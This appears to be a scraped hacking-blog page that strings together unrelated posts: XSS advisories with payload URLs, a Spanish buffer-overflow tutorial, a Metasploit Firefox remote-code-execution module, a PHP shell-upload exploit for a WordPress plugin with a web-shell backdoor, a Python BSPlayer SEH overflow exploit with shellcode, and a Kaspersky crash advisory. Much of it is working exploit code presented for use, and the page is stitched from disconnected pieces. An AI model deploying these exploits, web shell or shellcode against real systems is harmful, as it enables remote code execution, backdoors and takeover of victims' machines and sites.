source: https://www.securityfocus.com/bid/51218/info
Siena CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.
Siena CMS 1.242 is vulnerable; other versions may also be affected.
http://www.example.com/index.php?err=[XSS]
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863141635
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
source: https://www.securityfocus.com/bid/51216/info
The TheCartPress WordPress Plugin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.
An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
TheCartPress WordPress Plugin 1.6 and prior versions are vulnerable.
http://www.example.com/wp-content/plugins/thecartpress/admin/OptionsPostsList.php?tcp_options_posts_update=sdf&tcp_name_post_234=%3Cimg%20src=[XSS]&tcp_post_ids[]=234
Antes de la explotación del Buffer Overflow tenemos que entender que ocurre cuando ejecutamos este tipo de ataque, para ello vamos a empezar desde lo más básico.
Índice:
- Introducción
- Registros
- Proceso en la memoria
- Stack
- Funciones
- Endianness
- NOPS – No Operation Instruction
Introducción
La CPU (Unidad Central de Procesamiento), es la parte de nuestro ordenador que se encarga de ejecutar el «código máquina». El código máquina es una serie de instrucciones que la CPU procesa. Siendo estas instrucciones, cada una de ellas un comando básico que ejecuta una operación específica, como mover datos, cambiar el flujo de ejecución del programa, hacer operaciones aritméticas, operaciones lógicas, etc.
Las instrucciones de la CPU son representadas en hexadecimal. Sin embargo, ésta misma instrucciones son traducidas a código mnemotécnico (un lenguaje mas legible), y es esto lo que conocemos como código ensamblador (ASM).
Entonces, de forma gráfica, la diferencia entre el código máquina y el lenguaje ensamblador es la siguiente:
Cada CPU tiene su Conjunto de Instrucciones, en inglés: Instruction Set Architecture (ISA)
.
El ISA es una serie de instrucciones que el programador o el compilador debe entender y usar para poder escribir un programa correctamente para esa CPU y máquina en específico.
En otras palabras, ISA es lo que el programador puede ver, es decir, memoria, registros, instrucciones, etc. Da toda la información necesaria para el que quiera escribir un programa en ese lenguaje maquina.
Registros
Cuando se habla de que un procesador es de 32 o 64 bits, se refiere al ancho de los registros de la CPU. Cada CPU tiene un conjunto de registros que son accesibles cuando se requieren. Se podría pensar en los registros como variables temporales usadas por la CPU para obtener y almacenar datos.
Hay registros que tienen una función específica, mientras que hay otros que solo sirven como se dice arriba, para obtener y almacenar datos.
En este caso, nos vamos a centrar e los registros GPRs (Registros de Propósito General):

En la primera columna como vemos, pone «Nomenclatura x86», esto es porque dependiendo de los bits del procesador, la nomenclatura es distinta:

- En las CPU de 8 bits, se añadia el sufijo L o H dependiendo de si se trataba de un Low byte o High Byte.
- En las CPU de 16 bits, el sufijo era la X (sustituyendolo por la L o H de las CPU de 8 bits), excepto en el ESP, EBP, ESI y EDI, donde simplemente quitaron la L.
- En las CPU de 32 bits, como vemos, se añade el prefijo E, refiriendose a Extender.
- Por último, en las CPU de 64 bits, la E se reemplaza por la R.
Además de los 8 GPR, hay otro registro que será muy importante para nosotros, se trata del EIP (en la nomenclatura x86). El EIP (Extended Instruction Pointer) contiene la dirección de la próxima instrucción del programa.
Proceso en la memoria
Cuando se ejecuta un proceso, se organiza en la memoria de la siguiente forma:

La memoria se divide en 4 regiones: Text, Data, Heap y Stack.
Text
: es establecido por el programa y contiene su código, éste área está establecida de solo lectura.Data
: esta region se divide en datos inicializados y datos no inicializados.- Los datos inicializados incluyen objetos como variables estáticas y globales que ya han sido predefinidas y pueden ser modificadas.
- Los datos no inicializados, llamados también BSS (Block Started by Symbol), también inicializan variables, pero estas se inicializan como 0 o sin ninguna inicializacion explícita, por ejemplo:
static int t
.
Heap
: aquí es donde se encuentra la memoria dinámica, es decir, durante la ejecución, el programa puede requerir mas memoria de lo que estaba previsto, por ello, a través de llamadas al sistema como brk o sbrk y todo controlado a través del uso de malloc, realloc y free, se consigue un área expandible en base a lo necesario.Stack
: es el área donde ocurre todo, vamos a dedicarle un punto:
Stack
El stack es un bloque o estructura de datos con modo de acceso LIFO (Last In, First Out; último en entrar, primero en salir), y está ubicado en la High Memory. Se puede pensar en el stack como un array usado para almacenar direcciones de retornos de funciones, pasar argumentos a funciones y almacenar variables locales.
Algo curioso del stack, es que crece hacia Low Memory, es decir, crece hacia abajo, hacia 0x00000000.
Siendo el stack de modo de acceso LIFO, existen dos operaciones principales, antes de entrar a explicar cada una de ellas, voy a definir un registro importante para entender estas dos operaciones:
–> ESP (Stack Pointer): es un registro el cual apunta siempre a la cima del stack (top of the stack). En este punto hay que darse cuenta que, como el stack crece hacia abajo, es decir, hacia Low Memory, conforme el ESP esté mas cerca del 0x00000000 mas grande es el stack.
- Operación PUSH
La operación de PUSH lo que hace es restar al ESP. En CPU de 32 bits, resta 4 mientras que en 64, 8. Si lo pensamos bien, si el PUSH en vez de restar, sumase, estariamos sobreescribiendo/perdiendo datos.
Ejemplo de PUSH T:

Ahora, por ejemplo, de forma mas técnica, si el valor inicial del ESP fuese 0x0028FF80
, e hiciésemos un PUSH 1, el ESP disminuiria -4, conviertiéndose en 0x0028FF7C
y entonces, el 1 se pondría en la cima del stack.
De forma detallada, la dirección iria cambiando tal que:

- Operacion POP
El caso del POP es igual pero al contrario, en 32 bits también se suma 4 y en 64, 8. El POP lo que haría en este caso sería quitar el valor que está en la cima del stack, es decir, los datos que se encuentren en la dirección donde apunta ahora mismo el ESP. Estos datos que se quitan normalmente se almacenarian en otro registro.
Ejemplo de POP T:

De nuevo, de forma mas técnica, si por ejemplo, despues del PUSH 1 anterior, el ESP vale 0x0028FF7C
, haciendole la operacion POP EAX
quitariamos lo previamente empujado, haciendo que el ESP volviese a valer 0x0028FF80
, y, además, haciendo que el valor quitado, se copie al registro EAX (en este caso).
Es importante saber que el valor que se quita no se elimina o se vuelve 0. Se queda en el stack hasta que otra instrucción lo sobreescriba.
Funciones
Ahora que se entiende mejor el stack, vamos a ver las funciones. Éstas, alteran el flujo normal del programa y cuando una función acaba, el flujo vuelve a la parte desde donde ha sido llamada.
Hay dos fases importantes aquí:
- Prólogo: es lo que ocurre al principio de cada función. Crea el stack frame correspondiente.
- Epílogo: exactamente lo contrario al prólogo. Ocurre al final de la funcion cuando ésta acaba. Su propósito es restaurar el stack frame de la función que llamó a la que acaba de terminar.
Por lo que el stack consiste en stack frames
(porciones o areas del stack), que son empujadas (PUSH) cuando se llama a una función y quitadas (POP) cuando devuelve el valor esa funcion.
Cuando una funcion empieza, se crea un stack frame que se asigna a la dirección actual del ESP.
Cuando la funcion termina, ocurren dos cosas:
- El programa recibe los parámetros pasados a la subrutina
- El EIP se resetea a la dirección de la llamada inicial.
Dicho de otra forma, el stack frame mantiene el control de la direccion donde cada subrutina
/stack frame
debe volver cuando acaba.
Vamos a ver un ejemplo práctico básico para que se vea todo mas claro:

- El programa empieza por la funcion main. El primer stack frame que debe ser empujado (PUSH) al stack es
main() stack frame
. Así que una vez se inicia, un nuevo stack frame se crea, el main() stack frame. - Dentro de
main()
, se llama a la funcióna()
, por lo que el ESP está apuntando a la cima del stack demain()
y aquí se crea el stack frame paraa()
. - Dentro de
a()
, se llama ab()
, por lo que estando el ESP en la cima del stack frame dea()
se crea el stack frame parab()
. - A la hora de acabar y que cada funcion vaya llegando a su return, es el proceso contrario, entraremos en detalle en el siguiente ejemplo.

- Ejemplo mas complejo y en detalle:

Cuando una función comienza, lo primero que se añade al stack son los parámetros, en este caso, el programa comienza en la función main()
y añade mediante PUSH al stack los parámetros argc
y argv
, en orden de derecha a izquierda (siempre es así).
El stack se vería asi:
High Memory

Low Memory
Ahora, se hace la llamada (CALL) a la función main(). Se empuja el contenido del EIP (Instruction Pointer) al stack y se apunta al primer byte después del CALL.
Este punto es importante porque tenemos que saber la dirección de la siguiente instrucción para poder seguir una vez la función llamada retorne.
High Memory

Low Memory
Ahora estamos dentro de la funcion main(), se tiene que crear un nuevo stack frame para ésta funcion. El stack frame es definido por el EBP (Frame Pointer) y el ESP (Stack Pointer).
Como no queremos perder información del anterior stack frame, debemos guardar el EBP actual del stack, ya que si no hacemos esto cuando retornemos, no sabremos que información pertenecía al anterior stack frame, la que llamó a main().
Una vez se ha guardado el valor del EBP, el EBP se actualiza y apunta a la cima del stack. En este punto, el EBP y el ESP apuntan al mismo sitio
Low Memory

High Memory
Desde este punto, el nuevo stack frame comienza encima del anterior (old stack frame).
Toda esta secuencia de instrucciones llevadas a cabo hasta ahora es lo que se conoce como «prólogo». Esta fase ocurre en todas las funciones. Las instrucciones llevadas a cabo hasta ahora, en ensamblador, serían las siguientes:
push ebp
mov ebp, esp
sub esp, X
// Donde X es un número
El stack antes de estas tres instrucciones es el siguiente:
Low Memory

High Memory
La primera instrucción (push ebp
), guarda el EBP empujándolo al stack, correspondiendose en el stack a «old EBP», para que se pueda restaurar una vez la función retorne.
Ahora el EBP está apuntando a la cima del anterior stack frame (old stack frame).
Con la segunda instrucción (mov ebp, esp
), conseguimos que el ESP se mueva donde está el EBP, creando ahora si, un nuevo stack frame:
Low Memory

High Memory
Recordemos que en este punto, el EBP y el ESP están ubicados en la misma dirección.
La tercera instrucción (sub esp, X
), mueve el ESP disminuyendo su valor (que como el stack crece hacia abajo, está por así decirlo, aumentando). Esto es necesario para hacer espacio para las variables locales de la función.
Esta instrucción básicamente está haciendo la siguiente operación:
- ESP = ESP – X
Dejando el stack, en la siguiente forma:
Low Memory

High Memory
Ahora que el prólogo ha terminado, el stack frame para la función main() está completado. Ahora, hemos creado un hueco, que se puede ver en la imagen superior, para las variables locales.
Pero ocurre un problema, el ESP no está apuntando a la memoria que hay después del «old EBP», sino que está apuntando a la cima del stack. Por lo que si hacemos un PUSH para añadir cada variable local, no se estaría empujando a la memoria reservada para ellas.
Así que no podemos usar este tipo de operación.
Así que, en este caso, trayendo el código para recordarlo:

Vamos a tener que usar otro tipo de operación, y será la siguiente:
MOV DWORD PRT SS:[ESP+Y], 0B
Teniendo en cuenta que 0B es 11, y estamos hablando de la primera variable declarada en main() como podemos ver en el código. Esta instrucción significa:
- Mueveme el valor 0B a la dirección de memoria que apunte ESP+Y. Siendo Y un número y ESP+Y una dirección de memoria entre EBP y ESP.
Este proceso se repetirá para todas las variables que se tengan que declarar. Una vez completado, el stack tendrá esta forma:
Low Memory

High Memory
Despues de colocar las 3 variables, el main() ejecutará la siguiente instrucción. En términos generales, el main() seguirá con su ejecución.
En este caso, el main() ahora llama a la función test(), por lo que otro stack frame se creará.
El proceso será el mismo que lo visto hasta ahora:
- PUSH a los parámetros de la función
- Llamada a la función
- Prólogo (entre otras cosas, actualizará el EBP y el ESP para el nuevo stack frame)
- Almacenará las variables locales en el stack
Al final de todo este proceso, el stack se verá de esta forma:
Low Memory

High Memory
Hasta este punto, solo hemos visto la mitad del proceso, el cómo se crea los stack frames. Ahora vamos a ver como se destruyen, es decir, que ocurre cuando se ejecuta una sentencia return, que es también, lo que se conoce como «epílogo».
En el epílogo, ocurre lo siguiente:
- Se devuelve el control al caller (a quien llamó a la función)
- El ESP se reemplaza con el valor actual de EBP, haciendo que ESP y EBP apunten al mismo sitio. Ahora se hace un POP a EBP para que se recupere el anterior EBP.
- Se vuelve al caller haciendo un POP al EIP y luego saltando a él.
El epílogo se puede representar como:
- leave
- ret
En instrucciones en ensamblador correspondería a:
mov esp, ebp
pop ebp
ret
Cuando se ejecuta la primera instrucción (mov esp, ebp
), el ESP valdrá lo mismo que el EBP y por lo tanto, el stack obtiene la siguiente forma:
Low Memory

High Memory
Con la segunda instrucción (pop ebp
), se hace un POP al EBP (donde también se encuentra en este momento el ESP). Por lo que al quitarlo del stack. El «old EBP» vuelve a ser el principal, y de esta forma, se ha restaurado el anterior stack frame:
Low Memory

High Memory
Con la tercera instrucción (ret
), se vuelve a la dirección de retorno del stack(referencia: docs.oracle.com)
Con esto, conseguimos que el ESP apunte a «old EIP», de tal forma que el stack quede de la siguiente forma:
Low Memory

High Memory
En este punto, todo se ha restaurado correctamente, y el programa ya seguiría a la siguiente instrucción después de la llamada a test(). Y cuando acabe, ocurre el mismo proceso.
Endianness
La forma de representar y almacenar los valores en la memoria es en Endianness, donde dentro de éste formato hay 2 tipos:
- big-endian
- little-endian

Ejemplo:
Si representamos el número 11, en 4 bytes y en hexadecimal, obtenemos el siguiente valor:
- 0x0000000B
Siendo 0B = 11
Si por ejemplo, víesemos que en la dirección de memoria 0x0028FEBC se encuentra 0x0000000B, si estamos en un sistema que usa Little Endian, podriamos entender en que dirección de memoria está cada byte con lo siguiente:
A 0x0000000B, hacemos la operación de la imagen, quedandose tal que:
0B
00
00
00
El último valor, el resaltado, tiene como dirección de memoria la ya vista arriba: 0x0028FEBC, por lo que podríamos obtener los demás valores tal que:
high memory
0B : 0x0028FEBF
00 : 0x0028FEBE
00 : 0x0028FEBD
00 : 0x0028FEBC
low memory
En forma de ecuación por así decirlo, podriamos expresarlo de la siguiente manera:
a = 0x0028FEBC
0B : a + 3
00 : a + 2
00 : a + 1
00 : a
Si el sistema hubiese sido Big Endian sería exactamente al revés, las direcciones hubieran correspondido a:
high memory
00 : 0x0028FEBF
00 : 0x0028FEBE
00 : 0x0028FEBD
0B : 0x0028FEBC
low memory
Es importante saber la diferencia ya que lo necesitaremos para escribir payloads de cara a un Buffer Overflow.
NOPS – No Operation Instruction
El NOP es una instrucción del lenguaje ensamblador que no hace nada. Si un programa se encuentra un NOP simplemente saltará a la siguiente instrucción. El NOP es normalmente representado en hexadecimal como 0x90, en los sistemas x86.
El NOP-sled es una técnica usada durante la explotación de buffer overflows. Su propósito es llenar ya sea una gran porcion o pequeña del stack de NOPS. Esto nos permitirá controlar que instrucción queremos ejecutar, la cual será la que normalmente se coloque despues del NOP-Sled.

La razon de ésto es porque quizas el buffer overflow en cuestion del programa, necesite un tamaño y dirección específico porque será la que el programa esté esperando. O también nos puede facilitar conseguir que el EIP apunte a nuestro payload/shellcode.
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'rex/exploitation/jsobfu'
class Metasploit3 < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::Remote::BrowserAutopwn
include Msf::Exploit::Remote::FirefoxPrivilegeEscalation
def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',
'Description' => %q{
This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect
component and gaining a reference to the privileged chrome:// window. This exploit
requires the user to click anywhere on the page to trigger the vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [
'joev' # discovery and metasploit module
],
'DisclosureDate' => "Jan 20 2014",
'References' => [
['CVE', '2014-8636'],
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],
['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]
],
'Targets' => [
[
'Universal (Javascript XPCOM Shell)', {
'Platform' => 'firefox',
'Arch' => ARCH_FIREFOX
}
],
[
'Native Payload', {
'Platform' => %w{ java linux osx solaris win },
'Arch' => ARCH_ALL
}
]
],
'DefaultTarget' => 0,
'BrowserRequirements' => {
:source => 'script',
:ua_name => HttpClients::FF,
:ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }
}
))
register_options([
OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>." ])
], self.class)
end
def on_request_exploit(cli, request, target_info)
send_response_html(cli, generate_html(target_info))
end
def default_html
"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected."
end
def generate_html(target_info)
key = Rex::Text.rand_text_alpha(5 + rand(12))
frame = Rex::Text.rand_text_alpha(5 + rand(12))
r = Rex::Text.rand_text_alpha(5 + rand(12))
opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin
js = js_obfuscate %Q|
var opts = #{JSON.unparse(opts)};
var key = opts['#{key}'];
var props = {};
props.has = function(n){
if (!window.top.x && n=='nodeType') {
window.top.x=window.open("chrome://browser/content/browser.xul", "x",
"chrome,,top=-9999px,left=-9999px,height=100px,width=100px");
if (window.top.x) {
Object.setPrototypeOf(document, pro);
setTimeout(function(){
x.location='data:text/html,<iframe mozbrowser src="about:blank"></iframe>';
setTimeout(function(){
x.messageManager.loadFrameScript('data:,'+key, false);
setTimeout(function(){
x.close();
}, 100)
}, 100)
}, 100);
}
}
}
var pro = Object.getPrototypeOf(document);
Object.setPrototypeOf(document, Proxy.create(props));
|
%Q|
<!doctype html>
<html>
<body>
<script>
#{js}
</script>
#{datastore['CONTENT'] || default_html}
</body>
</html>
|
end
end
<?php
###########################################
#-----------------------------------------#
#[ 0-DAY Aint DIE | No Priv8 | KedAns-Dz ]#
#-----------------------------------------#
# *----------------------------* #
# K |....##...##..####...####....| . #
# h |....#...#........#..#...#...| A #
# a |....#..#.........#..#....#..| N #
# l |....###........##...#.....#.| S #
# E |....#.#..........#..#....#..| e #
# D |....#..#.........#..#...#...| u #
# . |....##..##...####...####....| r #
# *----------------------------* #
#-----------------------------------------#
#[ Copyright (c) 2015 | Dz Offenders Cr3w]#
#-----------------------------------------#
###########################################
# >> D_x . Made In Algeria . x_Z << #
###########################################
#
# [>] Title : WordPress plugin (InBoundio Marketing) Shell Upload Vulnerability
#
# [>] Author : KedAns-Dz
# [+] E-mail : ked-h (@hotmail.com)
# [+] FaCeb0ok : fb.me/K3d.Dz
# [+] TwiTter : @kedans
#
# [#] Platform : PHP / WebApp
# [+] Cat/Tag : File Upload / Code Exec
#
# [<] <3 <3 Greetings t0 Palestine <3 <3
# [!] Vendor : http://www.inboundio.com
#
###########################################
#
# [!] Description :
#
# Wordpress plugin InBoundio Marketing v1.0 is suffer from File/Shell Upload Vulnerability
# remote attacker can upload file/shell/backdoor and exec commands.
#
####
# Lines (6... to 20) : csv_uploader.php
####
#
# ExpLO!T :
# -------
$postData = array();
$postData[ 'file' ] = "@k3dz.php"; #Shell_2_Exec ;)
$dz = curl_init();
curl_setopt($dz, CURLOPT_URL, "http://[Target]/wp-content/plugins/inboundio-marketing/admin/partials/csv_uploader.php");
curl_setopt($dz, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt($dz, CURLOPT_POST, 1);
curl_setopt($dz, CURLOPT_POSTFIELDS, $postData );
curl_setopt($dz, CURLOPT_TIMEOUT, 0);
$buf = curl_exec ($dz);
curl_close($dz);
unset($dz);
echo $buf;
/*
[!] creat your shell file =>
_ k3dz.php :
<?php system($_GET['dz']); ?>
[>] Post the exploit
[+] Find you'r backdoor : ../inboundio-marketing/admin/partials/uploaded_csv/k3dz.php?dz=[ CMD ]
[+] Or upload what you whant ^_^ ...
*/
####
# <! THE END ^_* ! , Good Luck all <3 | 0-DAY Aint DIE ^_^ !>
# Hassi Messaoud (30500) , 1850 city/hood si' elHaouass .<3
#---------------------------------------------------------------
# Greetings to my Homies : Meztol-Dz , Caddy-Dz , Kalashinkov3 ,
# Chevr0sky , Mennouchi.Islem , KinG Of PiraTeS , TrOoN , T0xic,
# & Jago-dz , Over-X , Kha&miX , Ev!LsCr!pT_Dz , Barbaros-DZ , &
# & KnocKout , Angel Injection , The Black Divels , kaMtiEz , &
# & Evil-Dz , Elite_Trojan , MalikPc , Marvel-Dz , Shinobi-Dz, &
# & Keystr0ke , JF , r0073r , CroSs , Inj3ct0r/Milw0rm 1337day &
# PacketStormSecurity * Metasploit * OWASP * OSVDB * CVE Mitre ;
####
# REF : http://k3dsec.blogspot.com/2015/03/wordpress-plugin-inboundio-marketing.html
?>
#!/usr/bin/python
''' Bsplayer suffers from a buffer overflow vulnerability when processing the HTTP response when opening a URL.
In order to exploit this bug I partially overwrited the seh record to land at pop pop ret instead of the full
address and then used backward jumping to jump to a long jump that eventually land in my shellcode.
Tested on : windows xp sp1 - windows 7 sp1 - Windows 8 Enterprise it might work in other versions as well just give it a try :)
My twitter: @fady_osman
My youtube: https://www.youtube.com/user/cutehack3r
'''
import socket
import sys
s = socket.socket() # Create a socket object
if(len(sys.argv) < 3):
print "[x] Please enter an IP and port to listen to."
print "[x] " + sys.argv[0] + " ip port"
exit()
host = sys.argv[1] # Ip to listen to.
port = int(sys.argv[2]) # Reserve a port for your service.
s.bind((host, port)) # Bind to the port
print "[*] Listening on port " + str(port)
s.listen(5) # Now wait for client connection.
c, addr = s.accept() # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload first time', addr))
c.recv(1024)
#seh and nseh.
buf = ""
buf += "\xbb\xe4\xf3\xb8\x70\xda\xc0\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x33\x31\x58\x12\x83\xc0\x04\x03\xbc\xfd\x5a"
buf += "\x85\xc0\xea\x12\x66\x38\xeb\x44\xee\xdd\xda\x56\x94"
buf += "\x96\x4f\x67\xde\xfa\x63\x0c\xb2\xee\xf0\x60\x1b\x01"
buf += "\xb0\xcf\x7d\x2c\x41\xfe\x41\xe2\x81\x60\x3e\xf8\xd5"
buf += "\x42\x7f\x33\x28\x82\xb8\x29\xc3\xd6\x11\x26\x76\xc7"
buf += "\x16\x7a\x4b\xe6\xf8\xf1\xf3\x90\x7d\xc5\x80\x2a\x7f"
buf += "\x15\x38\x20\x37\x8d\x32\x6e\xe8\xac\x97\x6c\xd4\xe7"
buf += "\x9c\x47\xae\xf6\x74\x96\x4f\xc9\xb8\x75\x6e\xe6\x34"
buf += "\x87\xb6\xc0\xa6\xf2\xcc\x33\x5a\x05\x17\x4e\x80\x80"
buf += "\x8a\xe8\x43\x32\x6f\x09\x87\xa5\xe4\x05\x6c\xa1\xa3"
buf += "\x09\x73\x66\xd8\x35\xf8\x89\x0f\xbc\xba\xad\x8b\xe5"
buf += "\x19\xcf\x8a\x43\xcf\xf0\xcd\x2b\xb0\x54\x85\xd9\xa5"
buf += "\xef\xc4\xb7\x38\x7d\x73\xfe\x3b\x7d\x7c\x50\x54\x4c"
buf += "\xf7\x3f\x23\x51\xd2\x04\xdb\x1b\x7f\x2c\x74\xc2\x15"
buf += "\x6d\x19\xf5\xc3\xb1\x24\x76\xe6\x49\xd3\x66\x83\x4c"
buf += "\x9f\x20\x7f\x3c\xb0\xc4\x7f\x93\xb1\xcc\xe3\x72\x22"
buf += "\x8c\xcd\x11\xc2\x37\x12"
jmplong = "\xe9\x85\xe9\xff\xff"
nseh = "\xeb\xf9\x90\x90"
# Partially overwriting the seh record (nulls are ignored).
seh = "\x3b\x58\x00\x00"
buflen = len(buf)
response = "\x90" *2048 + buf + "\xcc" * (6787 - 2048 - buflen) + jmplong + nseh + seh #+ "\xcc" * 7000
c.send(response)
c.close()
c, addr = s.accept() # Establish connection with client.
# Sending the m3u file so we can reconnect to our server to send both the flv file and later the payload.
print(('[*] Sending the payload second time', addr))
c.recv(1024)
c.send(response)
c.close()
s.close()
source: https://www.securityfocus.com/bid/51161/info
Kaspersky Internet Security and Anti-Virus are prone to a local memory-corruption vulnerability.
A local attacker can exploit this issue to cause the affected application to crash, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; this has not been confirmed.
Title:
======
Kaspersky IS&AV 2011/12 - Memory Corruption Vulnerability
Date:
=====
2011-12-19
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=129
VL-ID:
=====
129
Introduction:
=============
Kaspersky Internet Security 2011 has everything that you need to stay safe and secure while you re surfing the web.
It provides constant protection for you and your family – whether you work, bank, shop or play online.
Kaspersky Anti-Virus 2011 – the backbone of your PC’s security system, offering real-time automated protection from
a range of IT threats. Kaspersky Anti-Virus 2011 provides the basic tools needed to protect your PC. Our award-winning
technologies work silently in the background while you enjoy your digital life.
(Copy of Vendor Homepage: http://www.kaspersky.com/kaspersky_anti-virus && http://www.kaspersky.com/kaspersky_internet_security)
Abstract:
=========
Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012.
Report-Timeline:
================
2010-12-04: Vendor Notification
2011-01-16: Vendor Response/Feedback
2011-12-19: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
Exploitation-Technique:
=======================
Local
Severity:
=========
Medium
Details:
========
A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012.
The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters,
which could be exploited by attackers to crash he complete software process.
The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import.
Vulnerable Modules:
[+] CFG IMPORT
Affected Version(s):
Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012
KIS 2012 v12.0.0.374
KAV 2012 v12.x
Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011
KIS 2011 v11.0.0.232 (a.b)
KAV 11.0.0.400
KIS 2011 v12.0.0.374
Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010
--- Kaspersky Bug Logs ---
Folder: ../Analyses/Crash Reports (KIS&KAV)
KAV.11.0.0.232_08.04_22.24_3620.GUI.full.dmp
KAV.11.0.0.232_08.04_22.24_3620.GUI.mini.dmp
KAV.11.0.0.232_08.04_22.24_3620.GUI.tiny.dmp
KAV.11.0.0.232_08.04_22.28_2956.GUI.full.dmp
KAV.11.0.0.232_08.04_22.28_2956.GUI.mini.dmp
KAV.11.0.0.232_08.04_22.28_2956.GUI.tiny.dmp
KAV.11.0.0.232?_08.04_23.21_3712.GUI.full.dmp
KAV.11.0.0.232?_08.04_23.21_3712.GUI.mini.dmp
KAV.11.0.0.232?_08.04_23.21_3712.GUI.tiny.dmp
KAV.11.0.0.232?_08.04_23.54_2640.GUI.full.dmp
KAV.11.0.0.232?_08.04_23.54_2640.GUI.mini.dmp
KAV.11.0.0.232?_08.04_23.54_2640.GUI.tiny.dmp
Reference(s):
../Analyses/Crash Reports (KIS&KAV)/kav_x32.rar
../Analyses/Crash Reports (KIS&KAV)/kis_x32-win7.zip
../Analyses/Crash Reports (KIS&KAV)/kis_x64.zip
--- Service Crash Report Queue Logs ---
Folder: ../Analyses/Crash Reports (Service)
AppCrash_avp.exe_1d98841adaefc9689cba9c4bbd7
AppCrash_avp.exe_434b4962a0ccbccd3c2a6bd5f95
AppCrash_avp.exe_583f849d49fe1a714c9bd02ba4e
AppCrash_avp.exe_5f09d49c257b515e08a6defbf11
AppCrash_avp.exe_69cb355e72347419436f047a313
AppCrash_avp.exe_69cb355e72347419436f047a313
AppCrash_avp.exe_a7a7fe58d34d13f0136d933e977
AppCrash_avp.exe_d21fe6df9c207eac2d8c6bcacad
AppCrash_avp.exe_d2c8cf27ba2a3f6ceaad6c44327
AppCrash_avp.exe_ed94bb914e255192b71d1257c19
Version=1
EventType=APPCRASH
EventTime=129256270253026260
ReportType=2
Consent=1
UploadTime=129256270260076663
ReportIdentifier=d70927a2-a1d7-11df-81a1-95fa4108d4d6
IntegratorReportIdentifier=d70927a1-a1d7-11df-81a1-95fa4108d4d6
WOW64=1
Response.BucketId=1985200055
Response.BucketTable=1
Response.type=4
Sig[0].Name=Anwendungsname
Sig[0].Value=avp.exe
Sig[1].Name=Anwendungsversion
Sig[1].Value=11.0.1.400
Sig[2].Name=Anwendungszeitstempel
Sig[2].Value=4c2cd011
Sig[3].Name=Fehlermodulname
Sig[3].Value=basegui.ppl
Sig[4].Name=Fehlermodulversion
Sig[4].Value=11.0.1.400
Sig[5].Name=Fehlermodulzeitstempel
Sig[5].Value=4c2cd193
Sig[6].Name=Ausnahmecode
Sig[6].Value=c0000005
Sig[7].Name=Ausnahmeoffset
Sig[7].Value=00079c3c
DynamicSig[1].Name=Betriebsystemversion
DynamicSig[1].Value=6.1.7600.2.0.0.768.3
DynamicSig[2].Name=Gebietsschema-ID
DynamicSig[2].Value=1031
DynamicSig[22].Name=Zusatzinformation 1
DynamicSig[22].Value=0a9e
DynamicSig[23].Name=Zusatzinformation 2
DynamicSig[23].Value=0a9e372d3b4ad19135b953a78882e789
DynamicSig[24].Name=Zusatzinformation 3
DynamicSig[24].Value=0a9e
DynamicSig[25].Name=Zusatzinformation 4
DynamicSig[25].Value=0a9e372d3b4ad19135b953a78882e789
UI[2]=C://Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe
UI[3]=Kaspersky Anti-Virus funktioniert nicht mehr
UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten.
UI[5]=Online nach einer Lösung suchen und das Programm neu starten
UI[6]=Später online nach einer Lösung suchen und das Programm schließen
UI[7]=Programm schließen
LoadedModule[0]=C:/Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe
LoadedModule[1]=C://Windows/SysWOW64/ntdll.dll
LoadedModule[2]=C://Windows/syswow64/kernel32.dll
LoadedModule[3]=C:/Windows/syswow64/KERNELBASE.dll
...
...
LoadedModule[148]=C://Windows//SysWOW64//WMVCore.DLL
LoadedModule[149]=C://Windows////SysWOW64//WMASF.DLL
LoadedModule[150]=C://Windows//////SysWOW64////EhStorAPI.dll
LoadedModule[151]=C://Program Files (x86)//Internet Explorer//ieproxy.dll
LoadedModule[152]=C://Windows//SysWOW64//SAMLIB.dll
State[0].Key=Transport.DoneStage1
State[0].Value=1
State[1].Key=DataRequest
State[1].Value=Bucket=1985200055/nBucketTable=1/nResponse=1/n
